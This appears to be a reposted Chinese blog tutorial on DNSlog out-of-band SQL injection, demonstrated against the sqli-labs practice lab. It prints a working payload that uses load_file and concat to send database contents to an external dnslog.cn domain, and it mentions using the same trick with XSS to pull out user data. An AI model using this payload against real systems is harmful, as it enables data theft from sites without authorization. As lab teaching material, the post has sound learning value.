• dnslog注入


    dnslog注入

    dnslog注入主要用于布尔型盲注、时间型盲注、有注入但是无显示,注入线程太大容易被waf拦截等情况。主要原理就是利用load_file这个函数,这个函数的目的是读取本地文件,也可以对外发送请求,利用这个函数,我们再使用concat函数将我们想要执行的语句和dnslog的网址拼接起来,就可以在网址的访问记录上查询到我们希望查询的内容。

    dnslog还可以使用在xss和命令执行上,简单来说,在xss上的利用是在于我们将xss的攻击代码拼接到dnslog网址的高级域名上,就可以在用户访问的时候,将他的信息带回来,这个测试我会在后面进行详细说明。

    过程

    首先,我们找一个存在盲注的网站,这里我们用sqli-labs的第五关进行。

    然后我们要理解,dnslog主要是利用load_file函数来对外发起请求,然后利用concat函数拼接命令,得出payload

    and (select load_file(concat("//",(select database()),".4ozqke.dnslog.cn/abc"))) -- 
    

    点击执行,即可在dnslog平台收到我们想要的返回。

    可以看到,dns网址的高级域名,就是我们希望查询的内容。

    注意事项:

    1. dnslog注入只能用于windows,因为load_file这个函数的主要目的还是读取本地的文件,所以我们在拼接的时候需要在前面加上两个//,这两个斜杠的目的是为了使用load_file可以查询的unc路径。但是Linux服务器没有unc路径,也就无法使用dnslog注入。

    2. 在进行注入的时候,需要先使用测试代码判断该位置是否存在注入,然后再在后面拼接代码,因为对照pyload进行输入的话,可能会出现dnslog网站接收不到的情况,这是我在进行复现的时候遇到的情况。

    3. 在域名的后面,我们需要拼接一个文件名,这是因为load_file函数只能请求文件,如果不加后面的文件名,同样无法得到显示。

  • 相关阅读:
    druid去掉广告
    nested exception is java.lang.NoClassDefFoundError: org/aspectj/util/Partial
    org.mybatis.spring.transaction.SpringManagedTransaction.getTimeout()Ljava/lang/Integer;
    @Transactional没起作用ssm框架
    Mac下Vim编辑快捷键小结(移动光标)
    埋点
    mysql 删除以某字符串开头的表
    idea去掉无效引用
    一个有用的正则表达式
    系统集成思维导图
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/13966667.html
Copyright © 2020-2023  润新知